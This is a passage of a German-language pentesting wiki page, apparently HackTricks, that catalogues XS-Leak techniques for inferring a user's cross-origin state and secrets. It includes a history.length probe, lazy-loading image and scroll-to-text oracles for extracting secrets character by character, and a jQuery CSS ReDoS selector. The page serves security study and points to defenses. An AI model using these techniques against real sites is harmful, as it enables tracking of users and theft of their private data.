Wenn eine Seite ein Bild nur lädt, wenn der Benutzer angemeldet ist, können Sie die Ressource ungültig machen (damit sie nicht mehr im Cache ist, siehe weitere Informationslinks), eine Anfrage durchführen, die diese Ressource laden könnte, und versuchen, die Ressource mit einer fehlerhaften Anfrage zu laden (z. B. mit einem zu langen Referer-Header). Wenn das Laden der Ressource keinen Fehler ausgelöst hat, liegt es daran, dass sie im Cache war.

CSP-Direktive

Eine neuartige Funktion in Google Chrome (GC) ermöglicht es Webseiten, eine Content Security Policy (CSP) vorzuschlagen, indem sie ein Attribut auf einem iFrame-Element festlegen, wobei die Richtliniendirektiven zusammen mit der HTTP-Anfrage übertragen werden. Normalerweise muss der eingebettete Inhalt dies über einen HTTP-Header autorisieren, oder es wird eine Fehlerseite angezeigt. Wenn das iFrame jedoch bereits durch eine CSP geregelt ist und die neu vorgeschlagene Richtlinie nicht restriktiver ist, wird die Seite normal geladen. Dieser Mechanismus eröffnet einem Angreifer die Möglichkeit, spezifische CSP-Direktiven einer Cross-Origin-Seite zu erkennen, indem er die Fehlerseite identifiziert. Obwohl diese Schwachstelle als behoben markiert wurde, zeigen unsere Erkenntnisse eine neue Leak-Technik, die in der Lage ist, die Fehlerseite zu erkennen, was darauf hindeutet, dass das zugrunde liegende Problem nie vollständig behoben wurde.

CORP

Der CORP-Header ist ein relativ neues Sicherheitsmerkmal der Webplattform, das, wenn es gesetzt ist, Cross-Origin-Anfragen ohne CORS zu der angegebenen Ressource blockiert. Das Vorhandensein des Headers kann erkannt werden, da eine durch CORP geschützte Ressource einen Fehler auslöst, wenn sie abgerufen wird.

CORB

Überprüfen Sie den Link für weitere Informationen über den Angriff.

CORS-Fehler bei falscher Ursprungsspiegelung

Falls der Origin-Header im Header Access-Control-Allow-Origin gespiegelt wird, kann ein Angreifer dieses Verhalten ausnutzen, um zu versuchen, die Ressource im CORS-Modus abzurufen. Wenn ein Fehler nicht ausgelöst wird, bedeutet das, dass sie korrekt vom Web abgerufen wurde, wenn ein Fehler ausgelöst wird, liegt es daran, dass sie aus dem Cache abgerufen wurde (der Fehler tritt auf, weil der Cache eine Antwort mit einem CORS-Header speichert, der die ursprüngliche Domain und nicht die Domain des Angreifers erlaubt).
Beachten Sie, dass dies nicht funktioniert, wenn der Ursprung nicht gespiegelt wird, aber ein Platzhalter verwendet wird (Access-Control-Allow-Origin: *).

Lesbare Attributtechnik

Fetch-Umleitung

Durch das Einreichen einer Anfrage mit der Fetch API mit redirect: "manual" und anderen Parametern ist es möglich, das Attribut response.type zu lesen, und wenn es gleich opaqueredirect ist, war die Antwort eine Umleitung.

COOP

Ein Angreifer kann das Vorhandensein des Cross-Origin Opener Policy (COOP)-Headers in einer Cross-Origin-HTTP-Antwort ableiten. COOP wird von Webanwendungen verwendet, um externe Seiten daran zu hindern, beliebige Fensterreferenzen zu erhalten. Die Sichtbarkeit dieses Headers kann erkannt werden, indem versucht wird, auf die contentWindow-Referenz zuzugreifen. In Szenarien, in denen COOP bedingt angewendet wird, wird die opener-Eigenschaft zu einem eindeutigen Indikator: Sie ist undefiniert, wenn COOP aktiv ist, und definiert in dessen Abwesenheit.

URL-Maximal-Länge - Serverseite

Wenn eine serverseitige Umleitung Benutzereingaben innerhalb der Umleitung und zusätzliche Daten verwendet. Es ist möglich, dieses Verhalten zu erkennen, da Server normalerweise eine Längenbeschränkung für Anfragen haben. Wenn die Benutzerdaten diese Länge - 1 haben, weil die Umleitung diese Daten verwendet und etwas zusätzliches hinzufügt, wird ein Fehler ausgelöst, der über Fehlerereignisse erkennbar ist.

Wenn Sie irgendwie Cookies für einen Benutzer setzen können, können Sie diesen Angriff auch durchführen, indem Sie genug Cookies setzen (Cookie-Bombe), sodass mit der erhöhten Größe der Antwort der korrekten Antwort ein Fehler ausgelöst wird. In diesem Fall denken Sie daran, dass, wenn Sie diese Anfrage von einer gleichen Seite aus auslösen, <script> automatisch die Cookies sendet (damit Sie nach Fehlern suchen können).
Ein Beispiel für die Cookie-Bombe + XS-Search finden Sie in der beabsichtigten Lösung dieses Berichts: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=None oder im gleichen Kontext zu sein, ist normalerweise für diese Art von Angriff erforderlich.

URL-Maximal-Länge - Clientseite

Laut Chromium-Dokumentation beträgt die maximale URL-Länge von Chrome 2 MB.

Im Allgemeinen hat die Webplattform keine Grenzen für die Länge von URLs (obwohl 2^31 ein häufiges Limit ist). Chrome begrenzt URLs auf eine maximale Länge von 2 MB aus praktischen Gründen und um zu vermeiden, dass Probleme mit der Dienstverweigerung in der interprozessualen Kommunikation auftreten.

Daher ist es möglich, dass die Umleitungs-URL in einem der Fälle größer ist, sodass sie mit einer URL größer als 2 MB umgeleitet wird, um das Längenlimit zu erreichen. Wenn dies geschieht, zeigt Chrome eine about:blank#blocked-Seite an.

Der erhebliche Unterschied besteht darin, dass, wenn die Umleitung abgeschlossen wurde, window.origin einen Fehler auslöst, da ein Cross-Origin nicht auf diese Informationen zugreifen kann. Wenn jedoch das Limit erreicht wurde und die geladene Seite about:blank#blocked war, bleibt der origin des Fensters der des Elternteils, was eine zugängliche Information ist.

Alle zusätzlichen Informationen, die benötigt werden, um die 2 MB zu erreichen, können über einen Hash in der ursprünglichen URL hinzugefügt werden, sodass sie bei der Umleitung verwendet wird.

{% content-ref url="xs-search/url-max-length-client-side.md" %} url-max-length-client-side.md {% endcontent-ref %}

Maximalumleitungen

Wenn die maximale Anzahl von Umleitungen, die ein Browser folgen kann, 20 beträgt, könnte ein Angreifer versuchen, seine Seite mit 19 Umleitungen zu laden und schließlich das Opfer auf die getestete Seite zu senden. Wenn ein Fehler ausgelöst wird, dann versuchte die Seite, das Opfer umzuleiten.

Verlaufslänge

Die History API ermöglicht es JavaScript-Code, den Browserverlauf zu manipulieren, der die von einem Benutzer besuchten Seiten speichert. Ein Angreifer kann die Längeneigenschaft als Inklusionsmethode verwenden: um JavaScript- und HTML-Navigation zu erkennen.
Überprüfen von history.length, den Benutzer zu einer Seite navigieren, zurück zur gleichen Herkunft wechseln und den neuen Wert von history.length überprüfen.

Verlaufslänge mit derselben URL

  • Inklusionsmethoden: Frames, Pop-ups
  • Erkennbare Unterschiede: Wenn die URL dieselbe ist wie die vermutete
  • Zusammenfassung: Es ist möglich zu erraten, ob sich der Standort eines Frames/Pops in einer bestimmten URL befindet, indem die Verlaufslänge ausgenutzt wird.
  • Codebeispiel: Unten

Ein Angreifer könnte JavaScript-Code verwenden, um die Position des Frames/Pops auf eine vermutete zu manipulieren und sie sofort auf about:blank zu ändern. Wenn die Verlaufslänge zunimmt, bedeutet das, dass die URL korrekt war und Zeit hatte, zuzunehmen, weil die URL nicht neu geladen wird, wenn sie dieselbe ist. Wenn sie nicht zunahm, bedeutet das, dass sie versucht hat, die vermutete URL zu laden, aber weil wir sofort danach about:blank geladen haben, hat die Verlaufslänge nie zugenommen, als die vermutete URL geladen wurde.

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Frame Counting

Das Zählen der Anzahl der Frames in einer Webseite, die über iframe oder window.open geöffnet wurde, kann helfen, den Status des Benutzers auf dieser Seite zu identifizieren.
Darüber hinaus kann das kontinuierliche Überprüfen der Anzahl der Frames, wenn die Seite immer die gleiche Anzahl von Frames hat, helfen, ein Muster zu identifizieren, das Informationen leaken könnte.

Ein Beispiel für diese Technik ist, dass in Chrome ein PDF mit Frame Counting erkannt werden kann, da intern ein embed verwendet wird. Es gibt Open URL Parameters, die eine gewisse Kontrolle über den Inhalt wie zoom, view, page, toolbar ermöglichen, wo diese Technik interessant sein könnte.

HTMLElements

Informationslecks durch HTML-Elemente sind ein Anliegen in der Websicherheit, insbesondere wenn dynamische Mediendateien basierend auf Benutzerinformationen generiert werden oder wenn Wasserzeichen hinzugefügt werden, die die Mediengröße verändern. Dies kann von Angreifern ausgenutzt werden, um zwischen möglichen Zuständen zu unterscheiden, indem sie die Informationen analysieren, die von bestimmten HTML-Elementen offengelegt werden.

Information Exposed by HTML Elements

  • HTMLMediaElement: Dieses Element gibt die duration und buffered Zeiten des Mediums preis, die über seine API abgerufen werden können. Erfahren Sie mehr über HTMLMediaElement
  • HTMLVideoElement: Es gibt videoHeight und videoWidth preis. In einigen Browsern sind zusätzliche Eigenschaften wie webkitVideoDecodedByteCount, webkitAudioDecodedByteCount und webkitDecodedFrameCount verfügbar, die detailliertere Informationen über den Medieninhalt bieten. Erfahren Sie mehr über HTMLVideoElement
  • getVideoPlaybackQuality(): Diese Funktion liefert Details zur Video-Wiedergabequalität, einschließlich totalVideoFrames, was die Menge der verarbeiteten Videodaten anzeigen kann. Erfahren Sie mehr über getVideoPlaybackQuality()
  • HTMLImageElement: Dieses Element leakt die height und width eines Bildes. Wenn ein Bild jedoch ungültig ist, geben diese Eigenschaften 0 zurück, und die Funktion image.decode() wird abgelehnt, was darauf hinweist, dass das Bild nicht ordnungsgemäß geladen werden konnte. Erfahren Sie mehr über HTMLImageElement

CSS Property

Webanwendungen können das Website-Styling je nach Status des Benutzers ändern. Cross-Origin-CSS-Dateien können auf der Angreiferseite mit dem HTML-Link-Element eingebettet werden, und die Regeln werden auf die Angreiferseite angewendet. Wenn eine Seite diese Regeln dynamisch ändert, kann ein Angreifer diese Unterschiede je nach Benutzerstatus erkennen.
Als Leak-Technik kann der Angreifer die Methode window.getComputedStyle verwenden, um CSS-Eigenschaften eines bestimmten HTML-Elements zu lesen. Infolgedessen kann ein Angreifer beliebige CSS-Eigenschaften lesen, wenn das betroffene Element und der Eigenschaftsname bekannt sind.

CSS History

{% hint style="info" %} Laut diesem funktioniert dies nicht in headless Chrome. {% endhint %}

Der CSS-Selektor :visited wird verwendet, um URLs anders zu stylen, wenn sie zuvor vom Benutzer besucht wurden. In der Vergangenheit konnte die Methode getComputedStyle() verwendet werden, um diese Stilunterschiede zu identifizieren. Moderne Browser haben jedoch Sicherheitsmaßnahmen implementiert, um zu verhindern, dass diese Methode den Status eines Links offenbart. Diese Maßnahmen umfassen, dass der berechnete Stil immer so zurückgegeben wird, als ob der Link besucht wurde, und die Stile, die mit dem :visited-Selektor angewendet werden können, einzuschränken.

Trotz dieser Einschränkungen ist es möglich, den besuchten Status eines Links indirekt zu erkennen. Eine Technik besteht darin, den Benutzer dazu zu bringen, mit einem Bereich zu interagieren, der von CSS betroffen ist, insbesondere unter Verwendung der Eigenschaft mix-blend-mode. Diese Eigenschaft ermöglicht das Mischen von Elementen mit ihrem Hintergrund, was möglicherweise den besuchten Status basierend auf der Benutzerinteraktion offenbart.

Darüber hinaus kann die Erkennung ohne Benutzerinteraktion durch Ausnutzung der Renderzeiten von Links erreicht werden. Da Browser besuchte und unbesuchte Links unterschiedlich rendern können, kann dies einen messbaren Zeitunterschied im Rendering einführen. Ein Proof of Concept (PoC) wurde in einem Chromium-Bugbericht erwähnt, der diese Technik demonstriert, indem mehrere Links verwendet werden, um den Zeitunterschied zu verstärken, wodurch der besuchte Status durch Zeitanalysen erkennbar wird.

Für weitere Details zu diesen Eigenschaften und Methoden besuchen Sie deren Dokumentationsseiten:

ContentDocument X-Frame Leak

In Chrome erscheint eine Fehlerseite, wenn eine Seite mit dem X-Frame-Options-Header, der auf "deny" oder "same-origin" gesetzt ist, als Objekt eingebettet wird. Chrome gibt für die contentDocument-Eigenschaft dieses Objekts einzigartig ein leeres Dokumentobjekt (anstatt null) zurück, im Gegensatz zu iframes oder anderen Browsern. Angreifer könnten dies ausnutzen, indem sie das leere Dokument erkennen, was möglicherweise Informationen über den Status des Benutzers offenbart, insbesondere wenn Entwickler den X-Frame-Options-Header inkonsistent setzen und oft Fehlerseiten übersehen. Bewusstsein und konsistente Anwendung von Sicherheitsheadern sind entscheidend, um solche Leaks zu verhindern.

Download Detection

Der Content-Disposition-Header, speziell Content-Disposition: attachment, weist den Browser an, Inhalte herunterzuladen, anstatt sie inline anzuzeigen. Dieses Verhalten kann ausgenutzt werden, um zu erkennen, ob ein Benutzer Zugriff auf eine Seite hat, die einen Datei-Download auslöst. In Chromium-basierten Browsern gibt es einige Techniken, um dieses Download-Verhalten zu erkennen:

  1. Überwachung der Download-Leiste:
  • Wenn eine Datei in Chromium-basierten Browsern heruntergeladen wird, erscheint eine Download-Leiste am unteren Rand des Browserfensters.
  • Durch die Überwachung von Änderungen in der Fensterhöhe können Angreifer das Erscheinen der Download-Leiste ableiten, was darauf hindeutet, dass ein Download initiiert wurde.
  1. Download-Navigation mit Iframes:
  • Wenn eine Seite einen Datei-Download mit dem Content-Disposition: attachment-Header auslöst, verursacht dies kein Navigationsereignis.
  • Durch das Laden des Inhalts in einem iframe und die Überwachung von Navigationsereignissen ist es möglich zu überprüfen, ob die Inhalts-Disposition einen Datei-Download verursacht (keine Navigation) oder nicht.
  1. Download-Navigation ohne Iframes:
  • Ähnlich wie bei der iframe-Technik besteht diese Methode darin, window.open anstelle eines iframes zu verwenden.
  • Die Überwachung von Navigationsereignissen im neu geöffneten Fenster kann offenbaren, ob ein Datei-Download ausgelöst wurde (keine Navigation) oder ob der Inhalt inline angezeigt wird (Navigation erfolgt).

In Szenarien, in denen nur angemeldete Benutzer solche Downloads auslösen können, können diese Techniken verwendet werden, um den Authentifizierungsstatus des Benutzers indirekt basierend auf der Reaktion des Browsers auf die Download-Anfrage abzuleiten.

Partitioned HTTP Cache Bypass

{% hint style="warning" %} Deshalb ist diese Technik interessant: Chrome hat jetzt Cache-Partitionierung, und der Cache-Schlüssel der neu geöffneten Seite ist: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx), aber wenn ich eine ngrok-Seite öffne und fetch darin verwende, wird der Cache-Schlüssel sein: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), der Cache-Schlüssel ist unterschiedlich, sodass der Cache nicht geteilt werden kann. Weitere Details finden Sie hier: Sicherheit und Datenschutz durch Partitionierung des Caches gewinnen
(Comment von hier) {% endhint %}

Wenn eine Seite example.com eine Ressource von *.example.com/resource einbindet, hat diese Ressource den gleichen Cache-Schlüssel, als ob die Ressource direkt durch eine Top-Level-Navigation angefordert wurde. Das liegt daran, dass der Cache-Schlüssel aus dem Top-Level eTLD+1 und dem Frame eTLD+1 besteht.

Da der Zugriff auf den Cache schneller ist als das Laden einer Ressource, ist es möglich, zu versuchen, den Standort einer Seite zu ändern und ihn 20 ms (zum Beispiel) später abzubrechen. Wenn der Ursprung nach dem Stopp geändert wurde, bedeutet das, dass die Ressource im Cache war.
Oder man könnte einfach einige Fetch-Anfragen an die potenziell gecachte Seite senden und die Zeit messen, die dafür benötigt wird.

Manual Redirect

Fetch with AbortController

Verwenden Sie fetch und setTimeout mit einem AbortController, um sowohl zu erkennen, ob die Ressource im Cache ist, als auch um eine bestimmte Ressource aus dem Browser-Cache zu entfernen. Darüber hinaus erfolgt der Prozess, ohne neue Inhalte zu cachen.

Script Pollution

Service Workers

In dem gegebenen Szenario ergreift der Angreifer die Initiative, um einen Service Worker innerhalb einer ihrer Domains, speziell "attacker.com", zu registrieren. Anschließend öffnet der Angreifer ein neues Fenster auf der Zielwebsite aus dem Hauptdokument und weist den Service Worker an, einen Timer zu starten. Während das neue Fenster zu laden beginnt, navigiert der Angreifer die Referenz, die im vorherigen Schritt erhalten wurde, zu einer von dem Service Worker verwalteten Seite.

Bei Eintreffen der im vorherigen Schritt initiierten Anfrage antwortet der Service Worker mit einem 204 (No Content)-Statuscode und beendet effektiv den Navigationsprozess. Zu diesem Zeitpunkt erfasst der Service Worker eine Messung vom zuvor in Schritt zwei gestarteten Timer. Diese Messung wird durch die Dauer von JavaScript beeinflusst, die Verzögerungen im Navigationsprozess verursacht.

{% hint style="warning" %} Bei einer Ausführungszeitmessung ist es möglich, Netzwerkfaktoren zu eliminieren, um genauere Messungen zu erhalten. Zum Beispiel, indem die Ressourcen, die von der Seite verwendet werden, vor dem Laden geladen werden. {% endhint %}

Fetch Timing

Cross-Window Timing


Verwenden Sie Trickest, um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Zugang heute erhalten:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Mit HTML oder Re-Injection

Hier finden Sie Techniken, um Informationen aus einem Cross-Origin-HTML durch das Injizieren von HTML-Inhalten zu exfiltrieren. Diese Techniken sind interessant in Fällen, in denen Sie aus irgendeinem Grund HTML injizieren, aber keinen JS-Code injizieren können.

Dangling Markup

{% content-ref url="dangling-markup-html-scriptless-injection/" %} dangling-markup-html-scriptless-injection {% endcontent-ref %}

Image Lazy Loading

Wenn Sie Inhalte exfiltrieren müssen und Sie HTML vor dem Geheimnis hinzufügen können, sollten Sie die üblichen Techniken für hängende Markups überprüfen.
Wenn Sie jedoch aus irgendeinem Grund MÜSSEN, es Zeichen für Zeichen zu tun (vielleicht erfolgt die Kommunikation über einen Cache-Hit), können Sie diesen Trick verwenden.

Bilder in HTML haben ein "loading"-Attribut, dessen Wert "lazy" sein kann. In diesem Fall wird das Bild geladen, wenn es angesehen wird, und nicht während das Seite geladen wird:

<img src=/something loading=lazy >

Daher können Sie eine Menge Junk-Zeichen hinzufügen (zum Beispiel tausende von "W"s), um die Webseite vor dem Geheimnis zu füllen oder etwas wie <br><canvas height="1850px"></canvas><br>.
Wenn zum Beispiel unsere Injektion vor dem Flag erscheint, würde das Bild geladen werden, aber wenn es nach dem Flag erscheint, wird das Flag + der Junk verhindern, dass es geladen wird (Sie müssen experimentieren, wie viel Junk Sie platzieren). Das ist, was in diesem Bericht passiert ist.

Eine andere Möglichkeit wäre, das scroll-to-text-fragment zu verwenden, wenn es erlaubt ist:

Scroll-to-text-fragment

Allerdings lassen Sie den Bot die Seite mit etwas wie

#:~:text=SECR

So die Webseite wird etwas sein wie: https://victim.com/post.html#:~:text=SECR

Wo post.html die Angreifer-Junk-Zeichen und ein lazy load Bild enthält und dann das Geheimnis des Bots hinzugefügt wird.

Was dieser Text bewirken wird, ist, dass der Bot auf jeden Text auf der Seite zugreift, der den Text SECR enthält. Da dieser Text das Geheimnis ist und er sich direkt unter dem Bild befindet, wird das Bild nur geladen, wenn das erratene Geheimnis korrekt ist. So hast du dein Oracle, um das Geheimnis Zeichen für Zeichen zu exfiltrieren.

Ein Codebeispiel, um dies auszunutzen: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Bild Lazy Loading Zeitbasiert

Wenn es nicht möglich ist, ein externes Bild zu laden, das den Angreifer darauf hinweisen könnte, dass das Bild geladen wurde, wäre eine andere Option, zu versuchen, das Zeichen mehrmals zu erraten und das zu messen. Wenn das Bild geladen wird, würden alle Anfragen länger dauern, als wenn das Bild nicht geladen wird. Dies wurde in der Lösung dieses Berichts hier zusammengefasst:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

Wenn jQuery(location.hash) verwendet wird, ist es möglich, über Timing herauszufinden, ob einige HTML-Inhalte existieren, da der Selektor main[id='site-main'] nicht überprüft werden muss, wenn er nicht übereinstimmt.

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

CSS Injection

{% content-ref url="xs-search/css-injection/" %} css-injection {% endcontent-ref %}

Abwehrmaßnahmen

Es gibt empfohlene Maßnahmen in https://xsinator.com/paper.pdf sowie in jedem Abschnitt des Wikis https://xsleaks.dev/. Schauen Sie dort nach weiteren Informationen, wie Sie sich gegen diese Techniken schützen können.

Referenzen

{% hint style="success" %} Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks
{% endhint %}


Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Zugang heute erhalten:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}